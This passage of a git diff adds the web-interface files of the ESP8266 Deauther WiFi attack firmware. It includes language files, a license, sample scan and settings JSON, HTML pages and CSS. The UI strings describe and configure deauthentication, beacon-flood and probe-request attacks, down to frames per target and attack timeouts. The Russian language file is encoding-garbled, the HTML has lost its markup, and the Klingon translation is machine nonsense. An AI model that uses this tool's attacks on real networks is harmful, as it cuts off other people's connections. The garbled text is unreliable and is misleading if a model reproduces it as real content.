без надлежащего объÑÑÐ½ÐµÐ½Ð¸Ñ Ð¿Ð¾ÐºÐ°Ð·Ñ‹Ð²Ð°ÐµÑ‚, что вы делаете Ñто только за клики, Ñлаву и деньги и не уважаете интеллектуальную ÑобÑтвенноÑть, ÑообщеÑтво за ней и борьбу за лучший Ñтандарт WiFi . \n\nÐ”Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð´Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ информации поÑетите:", + "disclaimer-button": "Я прочитал и понÑл Ñообщение выше", + "reload": "Обновить", + "scan": "Сканировать", + "ssids": "SSIDs", + "attacks": "Ðтаки", + "settings": "КонфигурациÑ", + "info": "ИнформациÑ", + "info_span": "ИнформациÑ: ", + "all": "Ð’Ñе", + "channel": "Канал", + "devices": "Сохранить уÑтройÑтво", + "select_all": "Выбрать вÑе", + "deselect_all": "Отменить вÑе", + "remove_all": "Удалить вÑе", + "station_scan_time": "Ð’Ñ€ÐµÐ¼Ñ ÑÐºÐ°Ð½Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ñтанций", + "new": "Ðовое", + "save": "Сохранить", + "add": "Добавить", + "add_selected": "Клонировать выбранные APs", + "overwrite": "Затереть", + "time_interval": "Временной интервал", + "number": "Ðомер", + "targets": "Цели", + "scan_info": "- Ðажмите «Сканировать» и подождите, пока Ñиний Ñветодиод на вашей плате не погаÑнет (или не Ñтанет зеленым), а затем нажмите «Обновить». \n- Веб-Ð¸Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñ Ð±ÑƒÐ´ÐµÑ‚ недоÑтупен во Ð²Ñ€ÐµÐ¼Ñ ÑÐºÐ°Ð½Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ñети, и вам нужно будет Ñнова подключитьÑÑ! \n- ПожалуйÑта, выберите только одну цель! \n", + "ssids_info": "- Этот ÑпиÑок SSID иÑпользуетÑÑ Ð´Ð»Ñ Ð°Ñ‚Ð°ÐºÐ¸ маÑка и зонда. \n- Каждый SSID может Ñодержать до 32 Ñимвола. \n- Ðе забудьте нажать «Сохранить», когда вы отредактировали SSID. \n- Ð’Ñ‹ должны нажать «Обновить» поÑле ÐºÐ»Ð¾Ð½Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ SSID. \n", + "attack_info": "- Ð’Ñ‹ можете потерÑть Ñоединение при запуÑке атаки! \n- Вам нужно выбрать цель Ð´Ð»Ñ Ð°Ñ‚Ð°ÐºÐ¸ deauth. \n- Вам нужен Ñохраненный SSID Ð´Ð»Ñ Ð°Ñ‚Ð°ÐºÐ¸ маÑка и зонда. \n- Ðажмите перезагрузить, чтобы обновить ÑкороÑть передачи пакетов. \n", + "settings_info": "- Ðекоторые наÑтройки требуют перезагрузки. \n- Ðажмите «Сохранить», чтобы убедитьÑÑ, что ваши Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð¿Ñ€Ð¸Ð¼ÐµÐ½ÐµÐ½Ñ‹. \n", + "info_disclaimer": "Ð’ Ñлучае непредвиденной ошибки перезагрузите Ñайт и поÑмотрите на поÑледовательный монитор Ð´Ð»Ñ Ð´Ð°Ð»ÑŒÐ½ÐµÐ¹ÑˆÐµÐ¹ отладки.", + "start_stop": "СТÐРТ / СТОП", + "start": "СТÐРТ", + "stop": "СТОП", + "wifi_off": "WiFi Выключить", + "reboot": "Перезагрузить", + "reset": "СброÑ", + "enable_random": "Включить Рандомный режим", + "disable_random": "Выключить Рандомный режим", + "random_desc": "Включите Ñлучайный режим Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ñлучайного ÑпиÑка SSID в заданный интервал.", + "deauth_desc": "Закрывает подключение WiFi-уÑтройÑтв, отправлÑÑ Ñ„Ñ€ÐµÐ¹Ð¼Ñ‹ деаутентификации Ð´Ð»Ñ Ð´Ð¾Ñтупа к точкам и выбранным клиентÑким уÑтройÑтвам. \nЭто возможно только потому, что многие уÑтройÑтва не иÑпользуют Ñтандарт 802.11w-2009, который обеÑпечивает защиту от Ñтой атаки. \n- Выберите только одну цель! Когда вы выбираете неÑколько целей, которые запуÑкаютÑÑ Ð½Ð° разных каналах и запуÑкают атаку, они быÑтро переключаютÑÑ Ð¼ÐµÐ¶Ð´Ñƒ Ñтими каналами, и у Ð²Ð°Ñ Ð½ÐµÑ‚ шанÑов повторно подключитьÑÑ Ðº веб-интерфейÑу. \n", + "beacon_desc": "МаÑковые пакеты иÑпользуютÑÑ Ð´Ð»Ñ Ñ€ÐµÐºÐ»Ð°Ð¼Ñ‹ точек доÑтупа. ПоÑтоÑнно отправлÑÑ Ð¿Ð°ÐºÐµÑ‚Ñ‹ маÑковых радиоÑтанций, Ñто будет выглÑдеть так, как будто вы Ñоздали новые WiFi-Ñети. \nÐ’Ñ‹ можете указать Ñетевые имена под SSID.", + "probe_desc": "ЗапроÑÑ‹ зонда отправлÑÑŽÑ‚ÑÑ ÐºÐ»Ð¸ÐµÐ½Ñ‚Ñкими уÑтройÑтвами, чтобы ÑпроÑить, находитÑÑ Ð»Ð¸ извеÑÑ‚Ð½Ð°Ñ Ñеть поблизоÑти. \nИÑпользуйте Ñту атаку, чтобы запутать WiFi-трекеры, запроÑив Ñети, которые вы указали в ÑпиÑке SSID. \nÐ’ маловероÑтно, что вы увидите какое-либо влиÑние Ñтой атаки на ваш домашнюю Ñеть.", + "setting_version": "Ðомер верÑии, Ñ‚. Е. V2.0. \nЭту наÑтройку можно изменить только в иÑходном коде.", + "setting_ssid" : "SSID точки доÑтупа, иÑпользуемой Ð´Ð»Ñ Ð²ÐµÐ±-интерфейÑа (еÑли разрешено). \n Длина должна быть от 1 до 31 Ñимвола.", + "setting_password": "Пароль точки доÑтупа, иÑпользуемой Ð´Ð»Ñ Ð²ÐµÐ±-интерфейÑа (еÑли включен). \n Длина должна быть от 8 до 31 Ñимвола.", + "setting_channel": "Стандартный WiFi-канал, который иÑпользуетÑÑ Ð¿Ñ€Ð¸ запуÑке.", + "setting_hidden": "Скрывает точку доÑтупа, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð¸ÑпользуетÑÑ Ð´Ð»Ñ Ð²ÐµÐ±-интерфейÑа (еÑли включена).", + "setting_captivePortal": "Включает доÑтупный портал Ð´Ð»Ñ Ñ‚Ð¾Ñ‡ÐºÐ¸ доÑтупа (еÑли включен).", + "setting_autosave": "Включает автоматичеÑкое Ñохранение SSID, имен уÑтройÑтв и наÑтроек.", + "setting_autosavetime": "Интервал времени Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑкого ÑÐ¾Ñ…Ñ€Ð°Ð½ÐµÐ½Ð¸Ñ Ð² миллиÑекундах.", + "setting_display": "Включает Ð¸Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ.", + "setting_displayTimeout": "Ð’Ñ€ÐµÐ¼Ñ Ð² Ñекундах, поÑле которого диÑплей выключаетÑÑ, когда он неактивен. \nЧтобы отключить таймаут отображениÑ, уÑтановите его в 0.", + "setting_serial": "Включает поÑледовательный интерфейÑ. \nÐе рекомендуетÑÑ Ð½Ðµ отключать его!", + "setting_serialEcho": "Включает Ñхо Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ входÑщего ÑÐ¾Ð¾Ð±Ñ‰ÐµÐ½Ð¸Ñ Ñ‡ÐµÑ€ÐµÐ· поÑледовательный порт.", + "setting_web": "Включает веб-интерфейÑ.", + "setting_webSpiffs": "Включает SPIFFS Ð´Ð»Ñ Ð²Ñех веб-файлов.", + "setting_led": "Включает функцию (RGB) LED.", + "setting_maxch": "МакÑимальный канал Ð´Ð»Ñ ÑканированиÑ. \nUS = 11, EU = 13, Ð¯Ð¿Ð¾Ð½Ð¸Ñ = 14.", + "setting_macAP": "MAC-адреÑ, иÑпользуемый Ð´Ð»Ñ Ñ€ÐµÐ¶Ð¸Ð¼Ð° точки доÑтупа. \nОбратите внимание, что MAC-Ð°Ð´Ñ€ÐµÑ Ð·Ð°Ð¼ÐµÐ½Ñет только внутренний MAC-адреÑ, когда включен режим точки доÑтупа.", + "setting_macSt": "MAC-адреÑ, иÑпользуемый Ð´Ð»Ñ Ñ€ÐµÐ¶Ð¸Ð¼Ð° Ñтанции. \nПожалуйÑта, обратите внимание, что MAC-Ð°Ð´Ñ€ÐµÑ Ð·Ð°Ð¼ÐµÐ½Ð¸Ñ‚ только внутренний MAC-адреÑ, когда включен режим Ñтанции.", + "setting_chtime": "Ð’Ñ€ÐµÐ¼Ñ ÑÐºÐ°Ð½Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¾Ð´Ð½Ð¾Ð³Ð¾ канала перед переходом к Ñледующему в миллиÑекундах (только еÑли включен переключение каналов).", + "setting_minDeauths": "Минимальное количеÑтво кадров деаутентификации при Ñканировании Ð´Ð»Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ñветодиода в режим deauth.", + "setting_attacktimeout": "Через какое Ð²Ñ€ÐµÐ¼Ñ (в Ñекундах) атака автоматичеÑки оÑтановитÑÑ. \nУÑтановите ее на 0, чтобы отключить ее.", + "setting_forcepackets": "Сколько попыток отправить пакет. \nУÑтановите Ñто значение выше, еÑли вы хотите доÑтичь более выÑокой ÑкороÑти передачи пакетов в загруженной облаÑти. \nУбедитеÑÑŒ, что Ñтот параметр может Ñделать уÑтройÑтво более медленным или более неуÑтойчивым. \nМакÑимальное значение - 255!", + "setting_deauthspertarget": "Сколько кадров деаутентификации и дизаÑÑÐµÐ¼Ð±Ð»Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²Ð»ÑетÑÑ Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð¹ цели.", + "setting_deauthReason": "Код причины, который отправлÑетÑÑ Ñ ÐºÐ°Ð´Ñ€Ð°Ð¼Ð¸ deauth, чтобы Ñообщить целевому уÑтройÑтву, почему Ñоединение будет закрыто.", + "setting_beaconchannel": "ЕÑли включено, будет отправлено вÑе кадры по разным каналам при запуÑке атаки маÑка.", + "setting_beaconInterval": "ЕÑли уÑтановлено true, маÑки будут отправлÑтьÑÑ ÐºÐ°Ð¶Ð´ÑƒÑŽ Ñекунду. ЕÑли уÑтановлено значение false, интервал будет равен 100 мкÑ. \nA более длительный интервал означает большую ÑтабильноÑть и меньше Ñпама пакетов, но Ñто может занÑть больше времени, пока клиенты не найдут ssids при Ñканировании.", + "setting_randomTX": "ПозволÑет рандомизированную мощноÑть передачи Ð´Ð»Ñ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²ÐºÐ¸ кадров маÑка и зонда запроÑа.", + "setting_probesPerSSID": "Сколько кадров запроÑа запроÑа отправлÑетÑÑ Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ SSID.", + "setting_lang": "Язык по умолчанию Ð´Ð»Ñ Ð²ÐµÐ±-интерфейÑа. \nУбедитеÑÑŒ, что Ñзыковой файл ÑущеÑтвует!" +} \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/web_interface/lang/tlh.lang b/enp8266/esp8266_deauther-master/web_interface/lang/tlh.lang new file mode 100755 index 0000000..07525eb --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/lang/tlh.lang @@ -0,0 +1,74 @@ +{ + "lang": "tlh", + "warning": "WARNING", + "disclaimer": "jInmol tob concept waH 'ej educational ngoQ. nneither qej esp8266, 'ej \nsdk joq vIq ngoQ qach. laH may' yotlhDaq ghew! nnuse 'oH neH against \nnetworks jan 'ej! mub regulations neH Sep check nnit lo' neH ieee 802.11\n Hol Del 'ej wej bot pagh vay' Se'. nplease nIS Dalbogh qeylIS-fi valid \npa' it.nnplease yIlo' Qo' refer je \"jammer jInmol\", wImevmo' jInmol real\n totally undermines 'e'! nif SoHvaD, 'e' vay' nuq for. npublishing 'a \nghIH vIHtaHbogh Hutlh Hutlh proper Qam jInmol vIchel yaj SoH neH tob 'oH\n 'e' neH ruch clicks, fame qoj Huch 'ej pagh wIqelDI', maHeDnIS \nintellectual bang ghaj, latlh De' Such De''e' 'oH je SuvtaHvIS Dunmo' \nwifi standard.nnfor community cha' SuvwI' explanation:", + "disclaimer-button": "laD je tu' wovbe' yaj jIH", + "reload": "Reload", + "scan": "Hotlh", + "ssids": "SSIDs", + "attacks": "HIv", + "settings": "HIjmeH", + "info": "De'", + "info_span": "De': ", + "all": "Hoch", + "channel": "Channel", + "devices": "toD jan", + "select_all": "Hoch wIv", + "deselect_all": "Hoch de-wIv", + "remove_all": "Hoch teq", + "station_scan_time": "yaH Hotlh poH", + "new": "chu'", + "save": "choq", + "add": "boq", + "add_selected": "wIv ap clone", + "overwrite": "rIn ghItlh", + "time_interval": "poH interva", + "number": "ml'", + "targets": "ray'", + "scan_info": "-Hotlh click 'ej loS until tlhe' (pagh choH SuD SuD led tIj), vaj click Reload. n-'ej bebvo' interface unavailable during yaH Hotlh 'ej reconnect Daghaj! DubelmoHchugh neH wa' DoS wIv n-! n\n", + "ssids_info": "-lo' tetlh ssid beacon 'op Reload click qaSpu'DI' ssid. n cloning nejwI' HIv. n-Hoch ssid laH Da'elDI' vItoDmeH ghorgh ssid.n-SoH edited SoH click ghewmey lIj 32 vuDmey'e'. \n", + "attack_info": "-connection chaq luj SoH HeghDI' HIv starting! n-DoS wIv bImejnIS deauth reload HIv. n-toD ssid nIS beacon 'ej HIv. n-Click nejwI' packet rate. n refresh", + "settings_info": "-toD reboot. n-Click vay' be 'e' applied choH, qatlh poQ 'op settings. n", + "info_disclaimer": "in case of unexpected Qagh, nuqneH Daq reload 'ej legh jIH serial qaStaHvIS debugging.", + "start_stop": "start ghap mev", + "start": "START", + "stop": "mev", + "wifi_off": "wofo DoH", + "reboot": "re DaS", + "reset": "re HIjmeH", + "enable_random": "Enable Random Mode", + "disable_random": "Disable Random Mode", + "random_desc": "random mode random ssid yoSvetlhDaq generate reH wInobqang interval enable.", + "deauth_desc": "wifi jan connection SoQ pong jan wIv SoHvaD ngeH deauthentication Dalbogh naw' lang client 'ej. nthis DuH neH SeH 802.11w ghewmey lo' jan nIvbogh-2009 Hol against HIv. n-protection offers nuqneH neH wa' DoS wIv! ghorgh multiple DoS 'e' qet pIm channels 'ej start HIv, nom leQ 'oH SabtaHbogh channels 'ej pagh 'eb reconnect 'ej bebvo' interface. n Daghaj wIv SoH", + "beacon_desc": "DanoHmeH beacon packets naw' lang advertise. pong continuously beacon packets 'e' yIQoy, 'oH ngeH network pong bopummeH ssid laH per legh rur chu' wifi networks. nyou chenmoH.", + "probe_desc": "ngeH nejwI' requests pong client jan tlhob vaj Sov network Sum. nuse networks wifi trackers mIS pong botlhobbogh HIv 'e' vay' mup DaqaSmoHbej pong HIv je juH Dachegh network per neH ssid tetlh. nit's ghaytanHa' SoH.", + "setting_version": "laH neH choH version mI', i.e. v2.0.nthis HIjmeH qaStaHvIS Hal ngoq.", + "setting_ssid": "naw' lang lo' 'ej bebvo' interface (vaj enabled) ssid. ghob'e' nthe 'ab SabtaHbogh vuDmey'e' 1 'ej 31.", + "setting_password": "naw' lang lo' 'ej bebvo' interface (vaj enabled) mu'wIj. ghob'e' nthe 'ab SabtaHbogh vuDmey'e' 8 'ej 31.", + "setting_channel": "default wifi channel choHwI'maj HeghDI' starting.", + "setting_hidden": "Hides the access point that is used for the web interface (if enabled).", + "setting_captivePortal": "naw' lang choHwI'maj 'ej bebvo' interface (vaj enabled) So'.", + "setting_autosave": "automatic saving ssid, jan pong 'ej settings enables.", + "setting_autosavetime": "poH interval automatic saving neH milliseconds.", + "setting_display": "interface cha' enables.", + "setting_displayTimeout": "qaSpu'DI' tlhe' bey' DoH HeghDI' inactive cha'DIch poH. bey' timeout Qotlh nto, 'oH lut'e' 0.", + "setting_serial": "serial interface. nit's 'oH Qotlh chup enables!", + "setting_serialEcho": "Enables echo for each incoming message over serial.", + "setting_web": "'ej bebvo' interface enables.", + "setting_webSpiffs": "Enables SPIFFS for all web files.", + "setting_led": "(rgb) led feature enables.", + "setting_maxch": "max. channel Hotlh. nus 11, eu = 13, nIpon = = 14.", + "setting_macAP": "mac SoQ lo' naw' lang mode. nplease note 'e' internal mac SoQ neH ngaSwI' yuvtlhe' wIngaQmoHta'DI' mac SoQ HeghDI' enabled accesspoint mode.", + "setting_macSt": "mac SoQ yaH mode. nplease note 'e' internal mac SoQ neH ngaSwI' yuvtlhe' wIngaQmoHta'DI' mac SoQ HeghDI' enabled yaH mode lo'.", + "setting_chtime": "Time for Qo'noS poH wa' channel Hotlh pa' ghoS jIbuSchoH neH milliseconds (neH vaj enabled channel hopping). one channel before going to the next in milliseconds (only if channel hopping is enabled).", + "setting_minDeauths": "deauthentication Dalbogh HeghDI' Hotlh led wIQaw'laH deauth mode minimum mI'.", + "setting_attacktimeout": "qaSpu'DI' poH (qaStaHvIS lup) amount nuq mev HIv automatically. nset 'oH 0 'oH Qotlh.", + "setting_forcepackets": "HoSghajbej janvam slower pagh vI'Iprup unstable vutmeH setting rate neH busy mIchHom. nbe chong 'ar nID lo'laHghach veb lungeH packet. nset vaj packet Dunmo' chav DaneH'a'. nmax lo'laHghach 255!", + "setting_deauthspertarget": "ngeH 'ar deauthentication disassociation 'ej Dalbogh Hoch DoS.", + "setting_deauthReason": "meq ngoq 'e' ngeH deauth Dalbogh jatlh DoS jan qatlh SoQ connection.", + "setting_beaconchannel": "vaj enabled, vaj Hoch Dalbogh ngeH pIm channels HeghDI' beacon HIv qet.", + "setting_beaconInterval": "vaj HIjmeH teH, ngeH beacons Hoch cha'DIch. tlhoy HIjmeH ngeb, interval 100ms.na nI'qu' neH stability 'ej qup spamming packets qej interval 'ach 'oH laH tlhap nI'qu' until ssids vItu' clients HeghDI' Hotlh.", + "setting_randomTX": "HoS ngeH beacon 'ej request Dalbogh nejwI' enables randomized transmission.", + "setting_probesPerSSID": "ngeH 'ar nejwI' request Dalbogh Hoch ssid.", + "setting_lang": "'ej bebvo' interface. nbe be nIv'e' Hol teywI' Hol default!" +} diff --git a/enp8266/esp8266_deauther-master/web_interface/license b/enp8266/esp8266_deauther-master/web_interface/license new file mode 100755 index 0000000..8d6c3c8 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/license @@ -0,0 +1,23 @@ +MIT License + +Copyright (c) 2018 Stefan Kremser + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +Do not redistribute, advertising or sell of this softwae as "jammer"! + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/web_interface/names.json b/enp8266/esp8266_deauther-master/web_interface/names.json new file mode 100755 index 0000000..e3f18b5 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/names.json @@ -0,0 +1,26 @@ +[ + [ + "b8:1d:aa:d5:6f:f0", + "don't!", + "[[[[not mine]]]]", + "", + 1, + true + ] + ,[ + "f4:6b:de:da:8d:95", + "Spacehuhn", + "--SpaceRouter!--", + "", + 1, + false + ] + ,[ + "00:11:22:33:44:55", + "TEST", + "JS sucks!", + "5c:37:3b:f7:67:be", + 1, + true + ] +] \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/web_interface/run b/enp8266/esp8266_deauther-master/web_interface/run new file mode 100755 index 0000000..fa49e46 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/run @@ -0,0 +1 @@ +Empty file :D \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/web_interface/scan.html b/enp8266/esp8266_deauther-master/web_interface/scan.html new file mode 100755 index 0000000..9d7809b --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/scan.html @@ -0,0 +1,110 @@ + + + + + + + + + ESP8266 Deauther + + + + + + +
+
+
+
+

Scan

+ + + + +
+
+
+
+ +
+
+ +
+
+
+
+ +
+
+ s +
+
+
+
+

+ INFO:
+ + - Click Scan and wait until the blue LED on your board turns off (or changes to green), then click on Reload.
+ - The web interface will be unavailable during a station scan and you will have to reconnect!
+ - Please select only one target!
+
+ In case of an unexpected error, please reload the site and look at the serial monitor for further debugging. +

+ +
+ +

Access Points:

+
+ + + +
+ +

Stations:

+
+ + + +
+ +

Saved Devices:

+
+ + + + + +
+
+
+ + diff --git a/enp8266/esp8266_deauther-master/web_interface/scan.json b/enp8266/esp8266_deauther-master/web_interface/scan.json new file mode 100755 index 0000000..5529156 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/scan.json @@ -0,0 +1,97 @@ +{ + "aps":[ + [ + "Don't", + "--SpaceRouter!--", + 6, + -57, + "WPA2", + "f4:6b:de:da:8d:95", + "Spacehuhn", + false + ], + [ + "call", + "", + 1, + -80, + "-", + "cc:cf:1e:d5:5b:2b", + "SpaceLtd", + true + ], + [ + "it", + "", + 6, + -81, + "WPA*", + "5c:37:3b:f7:67:be", + "SpaceBox", + false + ], + [ + "a", + "", + 8, + -82, + "WPA2", + "cd:ce:1e:0a:4e:9e", + "SpacEEE", + false + ], + [ + "jammer", + "", + 8, + -83, + "WPA2", + "c7:0e:14:95:a1:3b", + "Chicken!", + false + ], + [ + "Don't call it a Jammer! DON'T !!", + "", + 8, + -90, + "WPA2", + "c8:0e:14:95:a1:3b", + "Huhn", + false + ] + ], + "stations":[ + [ + "04:d7:aa:dc:6e:5a", + 6, + "", + "Just", + 168, + 2, + "<1sec", + false + ], + + [ + "b8:1d:aa:d5:6f:f0", + 8, + "[[[[not mine]]]]", + "don't!", + 2, + 4, + "<1sec", + true + ], + [ + "58:41:4e:7a:dd:1b", + 8, + "", + "OK?!", + 2, + 3, + "<1min", + false + ] + ] +} \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/web_interface/settings.html b/enp8266/esp8266_deauther-master/web_interface/settings.html new file mode 100755 index 0000000..1e86774 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/settings.html @@ -0,0 +1,64 @@ + + + + + + + + + ESP8266 Deauther + + + + + + +
+
+
+
+

Settings

+ + + + + +

+ INFO:
+ + - Some settings require a reboot.
+ - Click save to make sure that your changes are applied.
+
+ In case of an unexpected error, please reload the site and look at the serial monitor for further debugging.
+

+ + + +
+
+ +
+ +
+
+ + + + +
+
+
+ + diff --git a/enp8266/esp8266_deauther-master/web_interface/settings.json b/enp8266/esp8266_deauther-master/web_interface/settings.json new file mode 100755 index 0000000..2327672 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/settings.json @@ -0,0 +1,30 @@ +{ + "version":"over9000", + "ssid":"pwned", + "password":"deauther", + "channel":1, + "hidden":false, + "captivePortal":true, + "lang": "en", + "autosave":true, + "autosavetime":30000, + "display":false, + "displayTimeout":600, + "serial":true, + "serialEcho":true, + "web":true, + "led":true, + "maxch":14, + "macSt":"aa:bb:cc:dd:ee:ff", + "macAP":"00:11:22:33:44:55", + "chtime":384, + "minDeauths":3, + "attacktimeout":600, + "forcepackets":3, + "deauthspertarget":20, + "deauthReason":1, + "beaconchannel":false, + "beaconInterval":false, + "randomTX":false, + "probesPerSSID":1 +} \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/web_interface/ssids.html b/enp8266/esp8266_deauther-master/web_interface/ssids.html new file mode 100755 index 0000000..5787389 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/ssids.html @@ -0,0 +1,114 @@ + + + + + + + + + ESP8266 Deauther + + + + + + +
+
+
+
+

SSIDs

+
+
+
+
+ +
+
+ +
+
+
+
+ +
+
+ +
+
+
+
+ +
+
+ +
+
+
+
+ +
+
+ +
+
+
+
+ + +
+
+
+
+ +

+ INFO:
+ + - This SSID list is used for the beacon and probe attack.
+ - Each SSID can be up to 32 characters.
+ - Don't forget to click save when you edited a SSID.
+ - You have to click Reload after cloning SSIDs.
+
+ In case of an unexpected error, please reload the site and look at the serial monitor for further debugging.
+

+
+
+
+
+
+ +
+
+ s +
+
+
+
+ +

Enable the random mode to generate a random SSID list in a given interval.

+
+
+ +
+
+ +
+
+ +
+
+
+ + diff --git a/enp8266/esp8266_deauther-master/web_interface/ssids.json b/enp8266/esp8266_deauther-master/web_interface/ssids.json new file mode 100755 index 0000000..65f81eb --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/ssids.json @@ -0,0 +1,305 @@ +{ + "random": false, + "ssids":[ + [ + "Cthulhu fm'latgh stell'bsna", + false, + 27 + ], + [ + "Nyarlathotep, vulgtm", + false, + 20 + ], + [ + "Sgn'wahl phlegeth", + false, + 17 + ], + [ + "Nyarlathotep nnnee, ehye", + true, + 24 + ], + [ + "Phlegeth ph'Yoggoth", + true, + 19 + ], + [ + "fm'latgh ilyaa, llll", + true, + 20 + ], + [ + "Lloigog gotha h'n'ghft", + true, + 22 + ], + [ + "n'gha, h'goka", + false, + 13 + ], + [ + "Sll'ha Azathoth", + true, + 15 + ], + [ + "zhro tharanak, kn'a", + false, + 19 + ], + [ + "Sll'haor phlegethog", + true, + 19 + ], + [ + "y'hah lw'nafh, cee", + true, + 18 + ], + [ + "Kn'a mnahn' li'heeagl", + true, + 21 + ], + [ + "h'lw'nafh, R'lyeh", + true, + 17 + ], + [ + "Ya bug Tsathoggua", + false, + 17 + ], + [ + "ah, fm'latgh", + false, + 12 + ], + [ + "F'ilyaa ebunma tharanak", + true, + 23 + ], + [ + "kadishtu, nilgh'ri", + true, + 18 + ], + [ + "R'luh nog gof'nn", + true, + 16 + ], + [ + "hriiagl, stell'bsna", + false, + 19 + ], + [ + "R'lyeh nnnYoggoth", + false, + 17 + ], + [ + "syha'h nnnilyaa, R'lyeh", + false, + 23 + ], + [ + "Nghai s'uhn bug", + false, + 15 + ], + [ + "zhro, sgn'wahl", + false, + 14 + ], + [ + "F'ftaghu throd", + true, + 14 + ], + [ + "h'hai nnnnog, bug", + false, + 17 + ], + [ + "Ulnyar ron uaaah", + true, + 16 + ], + [ + "ngphlegeth, R'lyeh", + false, + 18 + ], + [ + "Ch' nw n'ghftog", + true, + 15 + ], + [ + "lloig, ph'n'ghft", + true, + 16 + ], + [ + "Ahnyth throd nas'uhn", + false, + 20 + ], + [ + "y'hahagl, f'sgn'wahl", + true, + 20 + ], + [ + "Throdnyth zhro sll'ha", + true, + 21 + ], + [ + "naflvulgtm, nnnnw", + true, + 17 + ], + [ + "Ngehye Hasturnyth nnnorr'e", + true, + 26 + ], + [ + "ftaghuoth, mg", + true, + 13 + ], + [ + "Lloig naflebunma y-Chaugnar", + false, + 27 + ], + [ + "Faugn ph'uaaah, naflmg", + false, + 22 + ], + [ + "Azathoth shugg gotha", + false, + 20 + ], + [ + "Hastur, fhtagn", + false, + 14 + ], + [ + "Lw'nafh nognyth", + true, + 15 + ], + [ + "nnngrah'n hrii, s'uhn", + false, + 21 + ], + [ + "Hai kadishtunyth", + false, + 16 + ], + [ + "nahlirgh uh'e, athgog", + true, + 21 + ], + [ + "Nilgh'ri R'lyeh", + true, + 15 + ], + [ + "nglw'nafh 'bthnk, ph'mnahn'", + true, + 27 + ], + [ + "Tharanak ehye kadishtuoth", + true, + 25 + ], + [ + "bug, hupadgh", + true, + 12 + ], + [ + "Nnnvulgtlagln sgn'wahl", + true, + 22 + ], + [ + "ph'goka nafln'gha, y-'bthnk", + true, + 27 + ], + [ + "Dagon ilyaa throd", + true, + 17 + ], + [ + "sgn'wahl, uln", + false, + 13 + ], + [ + "Shub-Niggurath naChaugnar", + true, + 25 + ], + [ + "Faugn f'r'luh phlegeth, lw'nafh", + true, + 31 + ], + [ + "Ebunma ehye hlirgh", + false, + 18 + ], + [ + "Shub-Niggurath, ilyaa", + true, + 21 + ], + [ + "Cgeb gnaiih Dagon", + true, + 17 + ], + [ + "gnaiih, nnnn'ghft", + false, + 17 + ], + [ + "Hlirgh k'yarnak", + false, + 15 + ], + [ + "ch', Cthulhu", + false, + 12 + ] +] +} diff --git a/enp8266/esp8266_deauther-master/web_interface/style.css b/enp8266/esp8266_deauther-master/web_interface/style.css new file mode 100755 index 0000000..9d38174 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/style.css @@ -0,0 +1,447 @@ +/* Global */ +body { + background: #36393e; + color: #bfbfbf; + font-family: sans-serif; + margin: 0; +} + +h1 { + font-size: 1.7rem; + margin-top: 1rem; + background: #2f3136; + color: #bfbfbb; + padding: 0.2em 1em; + border-radius: 3px; + border-left: solid #4974a9 5px; + font-weight: 100; +} + +h2 { + font-size: 1.1rem; + margin-top: 1rem; + background: #2f3136; + color: #bfbfbb; + padding: 0.4em 1.8em; + border-radius: 3px; + border-left: solid 